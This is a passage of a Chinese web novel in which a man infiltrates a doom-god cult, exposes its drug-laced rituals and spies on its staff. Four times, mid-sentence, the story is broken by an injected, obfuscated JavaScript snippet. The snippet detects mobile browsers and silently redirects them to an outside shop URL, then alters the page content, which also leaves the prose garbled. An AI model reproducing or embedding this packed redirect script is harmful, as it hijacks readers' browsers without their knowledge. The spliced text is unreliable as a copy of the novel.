人们披着白色斗篷,带着兜帽。每张座椅上,露出一个三角形的脑袋。将所有座位,填充地满满当当。 脚下光带配合手表指引前进,穿上门边的披风,走下两步台阶,突然感觉到被注视感,如芒在背。 他停下脚步,缓缓抬头。 黑暗的会馆里,前方墙壁很空,灯光、氛围全都在下方,更显得上面一片漆黑。 在漆黑的空间里,有些地方比其他更黑,将这些地方连起来,似乎呈“爪”型。 爪顶端的尖锐比一个人还长,一只爪比前方中心的舞台还要巨大。 这是——浮雕? 但注视感不在爪上,更黑的部分向上延伸,厄良一直仰头,一直仰头,直到对上头顶的漆黑双瞳—— 喙部尖锐弯曲,黑羽如同火焰,向四周发散。展开的双翅延伸到侧边高墙,将整个会馆捕入其中。 厄良站的地方,到这层最底,已经有四层楼的高度。头顶的巨鸟离厄良,至少也有四层楼高。 高墙和顶部的棱角被磨平,让巨鸟浮雕浑然一体、栩栩如生。祂弯着身躯,直勾勾盯着每个下方的人。 这只巨鸟,就是教会信奉的厄神。每个看到全貌的渺小人类,都会下意识升起对巨物的原始恐惧。 厄良低头,一直走到第三十七排,坐到边缘。 斗篷人目不转睛看着台上,一动不动。 最前方平台上,升起方形演讲台,一个女人捏着话筒,沉默片刻后,说: “几年前,我老公死了,死在工位上,第二天才被同事发现,看到时尸体已经凉了。” “老公的领导谁都没有通知,直到送去殡仪馆,尸体火化后,老公同事悄悄通知我们娘俩。我和女儿立刻赶到公司,向领导讨说法。” “说公司也不准确,那就是个小作坊,墙上、地上、器材上,全都涂满泥垢。作坊位置也偏,没有公交站,最后一段路,全靠自己跑过去。” “我老公,就在这样的环境里,兢兢业业了几十年,连死都死在脏兮兮的工位上。” “我不甘,我怨恨,我跌在地上,看着他们领导,说不出话。” “幸好女儿会说,她嘴皮子利索,把领导、作坊喷了个遍。” “我跟着女儿去抨击、去维权,那些做贼心虚的人。我们要给死去的家人,讨个公道。” “几个月过去,几年过去,除了赔几万,没有任何后续。” “我想要放弃了,我不想耽误女儿工作,死去的老公肯定也不想。” “我说:算了吧,算了吧。” “女儿说:不能算!他们着急处理爸爸遗体,肯定对爸爸做了什么!我不能让爸爸平白死去。” “一年后,女儿得了心肌炎。 ” “我到医院时,什么都不知道。女儿躺在病床上,脸色很白,整个人瘦了一大圈。” “我想着,等出院后一定好好补补身体,把女儿养的白白胖胖。但医生给我说,这个病很严重,可能会死。” “我脑子完全空白,什么爆发性我听不懂,我只是觉得,疫情都过去了,只是感个冒,怎么会死呢?” “我立刻跪下,给医生不断磕头。” “我说,‘求您救救我女儿,您是专家,这么厉害,一定能救我女儿!’” “专家看起来也想跪下了。女儿制止我,说,‘妈,别为难医生了。’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007433|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “可我们不想为难别人,为什么上天总要为难我们?” “女儿看起来,比我擦过的玻璃还要脆弱,像刚出生躺在我怀里的样子,我一点力都不敢使,生怕捏坏了。” “女儿不再说讨回公道的话,反而仔细和我说,保险怎么领,怎么用拿到的证据,向老公公司索赔,至少能拿五十万,拿到的钱怎么转进银行卡。” “我有不好的预感,我说不要这些钱,要把家里的钱全用来给女儿看病。” “女儿摇摇头,又说了一遍,保险怎么领,怎么用拿到的证据,向老公公司索赔,拿到的钱怎么转进银行卡。” “说了好几遍后,女儿让我背一遍,记在手机里。” “三天后,女儿死了。走前,她说:‘妈,你要为自己而活’。” 中年妇女哽咽着,说不出话,她失去力气,跌坐在地上,演讲台配合下降,话筒重新落在她嘴边。 她哭嚎:“老天爷,你不长眼啊!” “她努力考上好大学,努力找到好工作,她的人生才刚刚开始啊!” “为什么不带走我这没用的媳妇?非要带走我的心肝! ” 丈夫死后,女儿就是她的天。女儿走了,她的天也塌了。 台下有不少人同情妇人的遭遇,悄悄用纸巾掩面。 厄良肯定,她肯定不是表演或背稿。如果是假的,人人都能得奥斯卡。 妇人是真的,她的经历也是真的。所以才有钱参加厄神教的仪式。 要知道一场仪式,最少需要五千元。厄良选择价位最高的,需要两万。 妇人对仪式很熟练,看起来参加过很多次了。 到头来,女儿拼命讨来的活命钱,进了邪教的钱包。 妇人诉完苦,演讲台缓缓下降,空出距离。 主持人擦了擦眼角,沉声道:“多可怜啊,竟然遭受这么庞大的厄运。教会马上为您进行祛除仪式,消散厄运。” 会馆内灯光变幻,白色灯光一个个减少,渐渐改变颜色,台下只剩些许橘红色光芒,台上主色调变成淡紫色,只照亮妇人周围区域。 她情绪尚未平复,还有些腿软,工作人员带着黑色面具,将她搀扶到垫子上坐下。 低沉的乐器声响起,经过会馆的特殊结构汇聚扩散,落到耳边,变成醇厚的古朴绘卷。 第一声主旋律响起,无数人对抗无法抵挡的宿命,一个个倒下,又一个个站起。 台上的妇人还在大口大口喘气,双手已经下意识合十,嘴唇一张一合,念诵经书。 淡紫色的灯光汇聚成立体文字,拓印在她身上。 手表发出提示: [音乐中念诵灵觉书,能稳固自己灵觉,帮助仪式者汇聚愿力。] [请用您的力量,帮助她提升灵觉吧。] 其他人也随着旋律念诵: 【“寰宇皆尘,奉一为神。”】 【“神躯当碑,万念皆坟。”】 手表上,只有教经亮起,抬手时,一行行文字悬浮在空中,随声音一起涌进脑海。 沉闷的钟声在脑海回荡,不知不觉间,厄良竟然下意识跟着念诵。 世间的苦厄无穷无尽,今天是你,下一次就轮到了我。 【“苦厄轮回,虔信在我”】 【“跪影成灰,镜中无客”】 5. 听说我是厄神 整段念诵长达十分钟,厄良中间突然惊醒,想起了原来目的。 【我来这里是为了搜集证据,找出恶人,消灭他们。不是来加入教会的!】 厄良心有余悸。 现在回想,让人下意识跟着照做的凶手是“气氛”。 来这里的人全都遭受过厄运,他们放声悲诉,眼泪让他们的心灵紧紧相拥,变成心念一致的共鸣体。 [真可怜啊,我们真可怜啊。] [台上妇人这么悲惨,为她念一遍经又怎样?] [音乐这么牛,沉浸其中很正常吧?] [大家都在念诵,跟着做才不显得突兀。] 要想不被教会迷惑,办法是时刻保持清醒。 厄良表面做着口型,假装念诵,心里循环【他们是中二病他们是中二病……】 灵觉书念完,密密麻麻的文字拓印在妇人身上。 台上继续进行下一项仪式。 几个人上来,身着白色神服,脸戴漆黑面具,拿着不同的金色器具,围着妇人转圈。 平台上不同方向升起台柱,像是阵法,把他们圈在中间。 一个人拿着壶状法器,朝妇人挥了挥,水滴洒在妇人身上,与此同时,前方台柱也喷出雾气,整个平台仙雾缭绕。灯光挥动,变成七彩祥云。 台柱朝不同方向吹风,原本流动缓慢的仙雾开始移动,渐渐形成中心低,两边高的漩涡,像是阵法启动。投影的立体特效映照云雾中,一会翻山倒海,一会天崩地裂。 有这技术,怎么不去拍电视啊。 四位面具人边跳舞边旋转,他们舞步较慢,却十分有力,每次挥动法器都踩在韵点上。 第二个人挥动一串铃铛法器,声音清脆悦耳。第三个人拿着一串珠子,念诵灵觉书,第四个人不知道在干嘛。 随着音乐越来越激进,他们的舞步越来越快,动作越来越多。直到最后一声“铮”响,四人同时拨来一捧仙雾,朝中心的妇人挥洒,妇人身影被雾气淹没。 妇人周围升起一圈屏障,屏障头部呈扇叶状,完全围住妇人后,扇叶向中心合拢,闭合成半球体,妇人完全消失在众人视线内。屏障在特效中变成椭圆的仙茧。 面具人仍然边转圈边跳舞,十个呼吸后,扇叶打开,屏障落下,仿若破茧成蝶。 原本脱力的妇人神情平和,缓缓站起来,向大家鞠躬致谢。 可能是休息时间足够,可能是有人连线安慰,妇人情绪转变并不突兀,厄良却起了疑心。 直到屏障升起前,妇人对外界反应迟钝,沉浸在自己的思绪里。她在屏障里经历了什么? 一个人仪式结束,进行下一个人。这次上台的是个白领男,比起妇人实打实的悲惨,他遭受的厄运更像随口抱怨: “领导是女的,对我意见很大。我工作这么努力,上次评选竟然把职称给另一个人!但我没太意外,我早就发现,同事和上司经常眉来眼去,他们肯定有一腿!……” 邪教为了钱,什么智障都敢收。 白领男弄完,又过了两个人: “女儿才五岁,得了白血病。为了治病,她要穿刺骨髓,每天反复抽血,最喜欢编的头发也剃掉了……上个月14号,明明前一天还给我画画,第二天却突然离开我们……” “我每天早上五点起床,晚上十二点到家。不管做什么,领导总是批评我。妻子嫌我回家太晚,要和我离婚。孩子也不亲我,从来不会主动和我说话。我不想工作,但房贷还有三十年,车贷还有十年。家里开支每个月要一万……” 终于轮到厄良。 真正站到台上,看到底下黑压压一片,厄良心想:也许邪教规模,比卫子诸预计的更大。 现场灯光比之前更暗,仔细看场下,座椅上的人只能看到轮廓,随着呼吸来回晃动。厄良简单说说编造的厄运,仪式正式开始。 面具人上场,第一位神官将水洒来,额头、面颊、脖子突兀感受到凉意,神经被刺激地一动。 黑压压的人形开始张嘴念诵,一群不正常的人在为一个正常人祈祷。 厄良不知道干什么,双手插在口袋里,垂眸对了对嘴型。 在人群注视下,他想起小时候,父母带他见神婆。上年纪的阿姨没有这些花里胡哨的法器,用一枝艾草叶沾了点碗里的水,“唰”地一下朝厄良身上泼。 他们没有像样的场地,厄良面对大路站到街上,后脑勺被凉的一颤,背后几乎全部打湿。人来人往的路边,每个路人都要侧目看一眼他们。 厄良打心眼里不相信这些,如果真有神佛,一定是对世间不闻不问,对人类冷嘲热讽的恶神。 人从来只能靠自己,祈求没有用。他也觉得迷信很奇怪,路人的目光让他有些尴尬,连带对神婆的仪式产生抗拒。神婆让他转身,小厄良不肯配合。 “妈,我不想做这些。” 妈妈有些着急,不停催促厄良。厄良撇着嘴,最后还是不情不愿完成了。 仪式果然没有效果。在厄良感知中,不管洒水、符咒、还是敲钟、上香,对厄运来说,只是场乏味的表演。该来的还是会来。 最后神婆用手指按摩厄良的百会穴、神门穴、内关穴,小厄良感觉头脑放松下来,舒服地眯眯眼。 爸妈离得远,神婆轻声对厄良说:“孩子,不管以后怎样,你遭受的诅咒一定会祛除。” 厄良纳闷时,听见神婆说:“因为你爸妈心诚,他们在大帝前,全心全意磕了九十九次头。” “有这样的爸妈,不管什么困难,都能克服。” 磕头时不能走神,他们来回磕了七八遍,才全部完成。 白发孩子怔愣了很久,大滴大滴泪水无声涌出眼眶。 神婆按摩完,厄良主动到大帝像前,郑重下跪,俯身叩首。 【诸天神佛,万古大帝】 【如果你们真的存在,如果你们能听见的话】 【我请求你们收回神通,收回我所有超凡的一切,不管怎么惩罚我都可以】 【我不想再给父母,增添更多苦难了】 清脆的铃铛声响起,面具人围着厄良转了一圈。 现在他参与的仪式更华丽,仪式的场地更正式、庄重,陪他完成仪式的人,从那两个苦命人,变成黑压压的人形座椅。 他们掩面泣声,哭自己的厄运,哭不公的命运。因为不知道怎么解决活下去的难题,就来求神拜佛,宁愿相信玄而又玄的存在,也不敢回头看一看现实。 他的爸妈、朋友全被厄运害死,眼前这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007434|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人就是凶手。他们无能为力,只有滔天的怨恨,化作诅咒,害死其他无能为力的人。 厄良想过,为什么不恨他们呢?明明他们造成了厄运,害死自己重要的人。 但只要看着他们,厄良就会想到神像前苦苦哀求的爸妈,想到人生戛然而止,英年早逝的朋友。 他们是一种人,不管过去一年、十年还是百年,他们—— 苦命人还是苦命人啊。 只要想到他们和父母朋友一样,厄良怎么也恨不起来了。 所以,厄良把全部的悲痛、仇恨和恶念,对准恶人。 他的灵魂,为了毁灭他们而燃烧。 马上要到封闭屏障的部分,厄良绷紧神经。 面具人舀一捧雾气,朝厄良洒来,厄良从震耳的音乐、呼呼的人工造风中,分辨出喷雾的声音。 是第四人!他把什么液体混在雾里,这团雾被风力阻挡,牢牢锁在厄良周围。屏障从地下迅速钻出,眼看要完全封闭,厄良屏住呼吸,用手死死捂住口鼻。 人工造雾使用干冰,二氧化碳比空气重,沉在地表。厄良想站起来呼吸上方的氧气,屏障却十分低矮,把他限制在雾里。 没关系,厄良之前观察过,仪式价位高低主要区别在屏障内的时间,越贵的时间越长。最高价两万需要在屏障里经过十个呼吸,大概二十秒。 只要他屏气二十秒就没问题。 二十、三十、四十…… 时间一分一秒过去,五十秒时厄良忍不住吐气,120秒时眼前发黑,下意识吸了一口空气。 糟糕! 气体顺着鼻腔涌入肺部,涌进全身,再涌进大脑。绷紧的神经被温柔抚平,放松到使不出力,整个人轻飘飘的只想完全躺下,什么都不想…… 幸好时间到了,脚下的气管全力抽气,随着屏障打开,里面已经干干净净不留痕迹。 仅仅吸了一口就有这么大威力,又作用在神经上……厄良立刻断定,这就是被整个国家明令禁止的——毒品。 怪不得厄神教短时间内聚集起大量忠实信徒,怪不得做完仪式的人们全都神情轻松,忘记所有忧虑,怪不得举行仪式的四个人要带上面具。 教会见厄良年轻,又是新人,足足让他在毒气里呆了两分钟,以为能让他彻底沉迷。 仪式完成,主持人微笑上台:“巫先生刚来我们教会,为了表示欢迎,我们特意赠送仪式时长。怎么样?有没有觉得脱胎换骨呢?” 台下发出羡慕的“嘘”声,厄良早在屏障放下前就松开手,现在脸上泛红,看起来像舒服后的余韵。 巫安易不好意思抿唇笑了笑:“谢谢大家,谢谢教会,我觉得好多了。” 脱胎换骨是吧,我记住了。 回到座位上休息片刻,厄良记住第四人的走路姿势,记住他手背上有颗黑痣。 第四人拿着毒品喷雾,如果取走作为罪证,厄神教罪行板上钉钉,执警就有理由出动抓捕。 厄良想跟踪第四人,但客人身份在教工中太显眼。他起身离开场馆,在同层找到后台通向的走廊,躲在监控死角,趁一名教工出来时,一手捂住嘴,一手敲晕,将他拖进卫生间。 片刻后,白发青年身穿教工制服,戴着口罩,从卫生间走出。 6. 听说我是厄神 面具人在后台脱掉面具、帽子和外褂,只穿着宽松的表演裤,厄良一眼认出喷他的第四人。 快十二点,到午休时间了。会馆里人群散去,厄良跟在教工后面,和他们一起上电梯,然后跟着第四人从37层下去,去食堂吃饭。 一路上没人说话,气氛安静到窒息。厄良猜测内部教工都受过培训,在收音收视的监控下,不会说闲话。 食堂热闹些,有人说出差的伙食不好,有人说家里人结婚,自己去随份子了…… 厄良对面坐着一位大姐,主动和厄良搭话:“小伙,你怎么只吃水果?” 当然因为点餐要刷脸啊,虽然他有万能id卡,但和别人不一样太显眼了。 厄良回答:“我第一天来,没什么胃口。” 大姐:“没胃口也得吃点啊,下午还要工作。” “谢谢姐,我宿舍有零食,填肚子够了。” 大姐恍然大悟:“那就好,那就好。” 白发青年看起来有点犹豫,斟酌开口:“姐,我不知道,公司做这个,到底对不对。” 大姐悄悄比了个“嘘”的手势:“别说,都是出来挣钱的,不容易。大家心里清楚就行。” 厄良谨慎点头,不再说什么。 看来教工并不是一无所知,起码对自己工作内容了解的很清楚。 第四人喷雾时也屏住呼吸,他清楚知道毒雾对人体的损害。 第四人和同伴起身离开,厄良告别大姐,慢慢跟上去。 他们到37层教工宿舍下去,这层走廊十分狭窄,仅容两人并肩,每间宿舍门几乎挨着另一扇门,内部宿舍看起来只比门宽一点,像一排排鸽子笼。 第四人进入370625房,厄良躲在死角,等听到里面出现打呼声,厄良用卡刷开宿舍房门。 轻轻推开门,里面关了灯,一片黑暗。房门在背后关上,发出清脆的“咔哒”声。 厄良俯视着沙发上的人,因为长时间在黑暗里行动,他很快适应,看清裤兜侧面的凸起。 那应该就是喷雾瓶了。 白发青年脚步很轻,像猫一样,靠近沙发时,几乎没有声音。 摸到裤兜里的瓶子,准备用手指夹出来时,沙发上的人突然翻身,厄良一惊,拳头差点锤到他腮帮子上。 喂!不要随便吓人啊。 厄良带有手套,拧开喷雾瓶后,即使隔着口罩,屏住呼吸,思想不受控制,升起对瓶中液体的渴望。 厄良眼都不眨,继续倾斜瓶身,用准备好的针管对准里面,自动吸取毒品。半手指长的针管很快吸满。 id卡、针管都是队长给他准备的道具,没想到这么快用上。 白发青年收好针管,物归原位。 厄良俯视沙发上的人,微微一笑。 离开前,他把旁边的板凳一端放地上,一端放到鞋上面。 让我脱胎换骨是吧。 半小时后,手机闹铃响起,沙发上的人停止打呼,下意识坐起来,关掉手机。 宿舍里开关在门口,第四人午休睡醒后,一般不开灯,穿上鞋直接走。 右脚踩到东西,第四人以为是地面,下意识踩着站起。随着重心偏移,脚下踩着的东西突然翻转,第四人重心失衡,着急忙慌使力扑腾,没想到右脚倾斜着摔到地上,整个身体重量全压在上面,第四人平时疏于锻炼,“咔嚓”一声,骨碎声冲入神经,传来锥心疼痛。 第四人惨叫,重重摔倒在地。 附近宿舍听到惨叫,着急敲门,他们没有权限开门,直到半小时后,执事被叫过来打开门,第四人已经痛的嚎不出声。 他被紧急送往医院查出右脚骨折多处。 另一边,卫生间被敲晕的人转醒,后颈传来剧痛,好像脖子要断一样。 他感觉自己快死了,怎么晕倒的也想不起来,他拼命蠕动,发出细微的呻吟声,要为自己争取一线生机。但现在是午休时间,没有人会经过。 终于,他摸到自己手机,挣扎间,他看到脚边有一卷纸滚出去。 难道自己是踩到卷纸昏迷的?谁这么不小心! 过一会,他感觉自己好多了,慢慢爬起,结果看到标识后,天塌了。 为什么这里是女厕所! 他该怎么解释自己摔倒在女厕所里啊! 教工灰溜溜跑走,一声不吭请假了。 —— 厄良想离开厄神教,交付拿到的针剂。 从明天起,他正式开始学习课程,受到监视程度会大大增加。如果今天不交拿到的针剂证据,明天以后更难交出去。 他用收拾行李的理由,离开大厦。没发现有跟踪视线,厄良朝天清待命的位置赶去。 为了减少怀疑,他和天清的潜入时间错开,现在天清还在外面接应,厄良也知道位置。 厄良很快找到天清,空旷的马路旁,一位长发马尾,身着宽松道袍的年轻女子正在——摆摊? 厄良:“都什么时候了,还摆摊呢。” 天清坐在小板凳上,闻言神色淡淡,潇洒挥了挥袖袍:“这位善信,行色匆匆,可有要事相求?” 厄良:“说人话” “有事说事,没事就滚” 厄良轻轻掐住她的脸*:“都多大了,没大没小。中二期还没过?” 天清站起躲开:“谁让你拒绝邀请,不跟我一起。” 厄良青筋直冒:“还敢提邀请?” “哪个道士邀请别人,说‘你当僵尸,我当抓僵尸的道士,我们组合一定能火’?” “把我当傻子整呢?” 天清骄傲仰头:“正是贫道。” 厄良按了按她的黑脑袋,把针剂袋子递给她:“这里面很大可能是毒品。” 天清点点头,收到道袍里,神色纠结道:“师兄,你犯法就算了,别拉上我。” 厄良:“这是证据!让你给卫队的!” 她收东西表情很自然,厄良以为她懂,结果是收下才反应过来? 厄良绝望道:“你还记得我们任务吗?” 天清奇怪看他:“当然记得。” 天清要带厄良去看调查结果,但这样一来,摊子没人看。正好路边驶过一辆电动车,天清伸手招呼,电动车停在他们面前。 女生把头盔摘下来,“有什么事吗?” 天清:“小姐姐,能请你帮忙照看下我的法器吗?” 女生刚想拒绝,说自己有事,结果看到天清的脸,顿时惊为天人。 皮肤冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007435|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白,脸型消瘦,气质出尘……这什么下凡的仙人啊! “我愿意!我愿意!” 这边没什么人经过,厄良直觉不太好,蹙眉:“不用吧师妹,我背过去就行。女孩一个人待这不安全。” 路过女生刚想着,何人打扰她和仙女姐姐贴贴,看到厄良,顿时惊为天人。 瞳孔黑到不正常,眉眼较深,刘海梳上去都压不住的男鬼感!嫌弃的眼神好像在看垃圾,太S了吧! 小臂上青筋明显,用力起来不知道多涩…… 女生大喊:“我真的愿意!让我拜入你们师门吧!” 我未曾蒙面的师父,您眼光真好! “仙女姐姐,法器呢?” 天清指了指板凳、桌子和帆布,“就是它们。” 女生澎湃的心情瞬间冷静:“……欸?” 女生拍视频作证后,师兄妹向女生承诺十分钟内赶回。天清带厄良来到不远处的桥洞。 拱形桥洞下是坚硬的水泥地,这片天然的遮蔽所,如今聚集了大量流浪者,床铺密密麻麻堆积在一起,到处是垃圾,空气中充满刺鼻的味道,让人无从下脚。 “这是……” 天清:“这是被厄神教骗光钱的信徒,他们租不起房,无处可去,只能住在这里。” 厄良担心的事果然发生了,信徒被厄神教一次次压榨完,没钱后当然会被抛弃。 天清:“最可怕的不是这些,最可怕的是,我说什么他们都不信,一心等待厄神教把他们选走。” 两人说话期间,一个蓬头垢面、衣衫褴褛的流浪汉突然扑过来,厄良下意识挡在天清面前,警惕起来。 流浪汉跪到厄良面前,不断磕头:“两位是厄神教的大人吗?请带我走吧!我没有病,刚来不久,身体很健康!无论想要哪个,我都有!” 言下之意,取哪个器官都可以。 流浪汉害怕他们不信,拼命思考怎样才能展示自己对厄神的忠心,口袋里硌人的刀柄昭示其存在。 对了,我直接把器官给他们不就好了? 他从口袋里掏出水果刀,左手拽掉刀套,反手握住刀柄,毫不犹豫朝自己腹部捅下! 厄良反应极快踢掉水果刀,天清一把捏住流浪汉手腕,让他失去力气。 没想到他们为了回到教会,竟然自割器官! 厄良低声劝道:“你有手有脚,看着也有力气。为什么不去找份工作,干什么都比等待别人施舍好。” 不像他克死所有人,很多人只要没要求,能找到工作吧。 流浪汉闻言,立刻起身后退,眼神凶厉,看厄良的目光像在看仇人: “你不是厄神教的大人!你是谁?想破坏我的信仰吗!!” 他立刻向虚空疯狂磕头,一边双手合十祈求:“厄神大人啊!我对您一心一意,绝没有其他想法!求您再看看我吧,再选中我,让我回到厄神教……” 他动作大开大合,露出胸口前的黑鸟图案。 目前厄良只在信徒身上看到黑鸟,刚来的客户身上没有。黑鸟是厄神教对信徒的标注。 其他流浪者听到呼喊,纷纷站起来,盯住厄良和天清,朝他们逼近: “你们是谁!” “为什么害我!” 7. 听说我是厄神 他们完全不听人话,两人原路返回。路上,厄良凝眉:“厄神教洗脑能力太可怕了。” 厄神教洗脑手段心理为主,药物辅助。信徒人太多,负责洗脑的人肯定不少。 天清点点头,撩起衣袖,露出手臂上的黑鸟图案:“我打算装作那边的流浪者,混入厄神教。” 厄良不赞同:“女孩子在那里太危险,一无所有的人,连人性都很难保持,做出什么都不奇怪。” 天清:“我功夫好,没人能打过我。流浪者也有女性区,我混进那边就好。而且资料已经准备好,计划也制定好了。” 厄良一噎:“那就让我来,我说自己破产了,想卖器官。” 天清静静看着他。 厄良泄气,他知道自己说的方法不合理,终于承认:“好吧,我只是不想看到你脏兮兮的样子。” 毕竟是从小看到大,一直漂亮干净,总是受到赞美的师妹。突然要待在臭水沟,不是太可怜了吗? 天清突然笑了,她一直面无表情,这还是厄良再次见到她后,第一次露出笑颜。 厄良惊恐:“师妹,你要灭口我吗?” 天清恢复面无表情:“师兄,你知道我为什么要当道士吗?” “不知道” “小时候我没什么想法,也没有想要的。师父让干什么,我就干什么。每天只是练功打坐,吃斋饭。” “后来我接触了手机,通过它,我看到了世界,我开始对生活,感到——困惑。” “为什么我要每天练功?每天学习道法?吃没味道的斋饭?” “我做的一切,到底有什么意义?” 这个问题困扰天清很久,直到有一天,她在木桩前练功,太阳出来了。 日出的光芒从上到下扫过天清,扫过伫立的桩子,就那样耀眼的、恢弘的,发出光芒,将所到之处洒满金色。 于是,天清明白—— “我适合道,我喜欢道,我信仰道。” “它为我指明人生的方向。所以,我想在其他人迷茫的时候,也为他们指明方向。” “但厄神教将人引入错误方向,毁掉了道教的潜在信徒。不管怎样,我要铲除它。” 厄良:结果是为了道教啊! 你也想当教主?! 不过—— 白发青年神情舒缓,眼型微弯,伸出手,轻轻摸了摸黑脑袋: “你长大了” 天清不满躲开:“别摸头,长不高。” “185还嫌不够?” “我才十九,肯定会继续长的,起码要比你高。” “呃……还有10公分,你努力吧。” 厄良朝天清伸手:“你要伪装前信徒,资料得拷入内部系统吧。” “我来拷吧。” “谢谢师兄。” 顺利和看摊女生交接,厄良赶回车里。期间女生本想和天清交换联系方式,被天清拉人进道教的热情吓退,连报酬都没拿,慌张离开。 回到厄神教,已经下午六点。吃完晚饭,厄良找机会把连上内部系统,顺利拷入天清资料。 准备物色恶人目标时,厄良在电梯碰上熟人——今天厄良参加的仪式里,第一个上台的中年妇女。 她失去丈夫和女儿,已经在教会呆了段时间。凭保险和赔偿的几十万,在这座销金窟里,恐怕过不了几天,就会被赶走,变成桥洞下的流浪者。 厄良跟着她从三层下去,这层是厄良做的第一个咨询项目。他假装在闲逛,余光目睹妇人进入03216室。 巧了,03216正是给厄良做咨询的教士房间,他和妇人由同一个教士负责。 厄良又去二楼展示厅转了一圈,记下《黑谷录》位置。 回到自己的酒店房间,背对针孔摄像头位置,厄良拿出房间配置的笔记本,插上耳机蓝牙。 厄神教二层以上与外界断联,因办公需要,其内部肯定有专属局域网。局域网权限不同,能探知到的文件资料不同。如果能进入核心局域网,就能在与之相连的核心服务器中,找到机密资料。 厄良手伸进背包夹层,拿出一块黑色方形操作盘,吸在笔记本底部。 这是公安给他的道具,使用它,小白也能窃取密报。 端口扫描、破解口令、防火墙弹出,眼看倒计时剩下十秒就要发送异常,操作盘破解完毕,成功进入局域网。 这台笔记本原本在厄神教控制下,现在,它成为厄良反向窃密的工具。 按照步骤依次点击,笔记本开始扫描文件。 现在进入的是办公区局域网,笔记本想要访问更核心网络,被告知不在范围内。 原来如此,核心局域网与外部局域网,现在应该是物理隔离状态。想要进入核心局域网,必须到达特定区域。 核心局域网不知道在几层,之后还要试探。 厄良继续翻找办公资料,发现内部监控系统。 操作盘破解密码,成功进入后,厄良将信号调到03216频道,大厦的监控出现在电脑上,同时耳机里传来声音。 哇,左佑量给他的操作盘挺好用啊。 除了需要外接计算机设备,功能十分完善。 厄良注意力聚焦在监控里。 妇人做仪式的愉悦轻松褪去,此刻满是焦虑:“教士,我做的仪式还不够多吗?我没多少钱了……” 教士询问:“还有多少?我看看能不能帮您规划一下。” “还有三万六” 在妇人殷切注视下,教士深思后说:“这样吧,您先继续做祛除仪式,五千元那档。这样能延长时间,让您继续参悟。” 妇女焦急道:“可是教士,我,我悟不出来啊!” “您说到达灵觉境界,就能见到我女儿。可我已经参加仪式半个月,连门槛都没见到……” 教士:“您在修炼过程中,有没有感到一种杂念消散、灵魂轻飘飘的感觉?” 妇人当即拍手:“有!我有过!” 教士:“那没错了,这是开悟的前兆啊。” 呵,明明是你们开放的毒品。 教士敦敦教导:“您还想不想见女儿了?” 见妇人点头,教士继续说:“人死后都会到达灵觉界,开悟相当于灵魂短暂进入那个世界。只要开悟,您就能见到女儿。我们的仪式是帮助您修炼开悟,直到灵魂能到达那个地方。” 妇人:“我明白,我明白,您给我说过,类似灵魂出窍。” 教士:“对嘛……” 眼看教士准备继续忽悠,厄良决定不再等待。 咨询教士就是负责洗脑的人之一,嘴里说的没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007436|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句真话,把妇人的钱全部骗走。看其熟练的架势,不止骗过两三次。 厄良现在要施与他厄运。虽然时机有些敏感,但在妇人面前发生惨案,多少能惊醒她。 他能为妇人做的,就这么多了。 厄运被动触发需要接近,主动触发同样需要。从发动规律中,厄良大概明白,“接近”的本质是一种联系。 见过面的两人,联系比没见过的要强;作为亲人的联系,也比普通朋友要强。 但如果两人停止往来,这种“联系”会随时间慢慢变小,就像记忆会渐渐消逝一样。 这位教士白天和厄良见面又聊天,“联系”程度已经足够触发厄运。所以—— 【请你去死吧】 钱教士上班无聊,总喜欢在手里转点东西,有时是晶莹透亮的翡翠玉,有时是气息静雅的沉香木。 今天,他带了一对品相顶级的文玩核桃,狮子头品种,一颗就有二十万。 两颗核桃在手心转来转去,相碰时发出的清脆声音,在钱教士听来,悦耳又心动。 二十万对他来说,还是有些肉痛。即使在厄神教干了几年,钱教士每年工资加上提成,不过一百来万。 钱教士含笑,时不时应和几声妇人。 所以他要努力忽悠,啊不,努力指导信徒。像眼前这位妇人,一共有五十多万,要是全骗走,钱教士能拿两三万分成。 眼睛专家对分成比例十分不满。 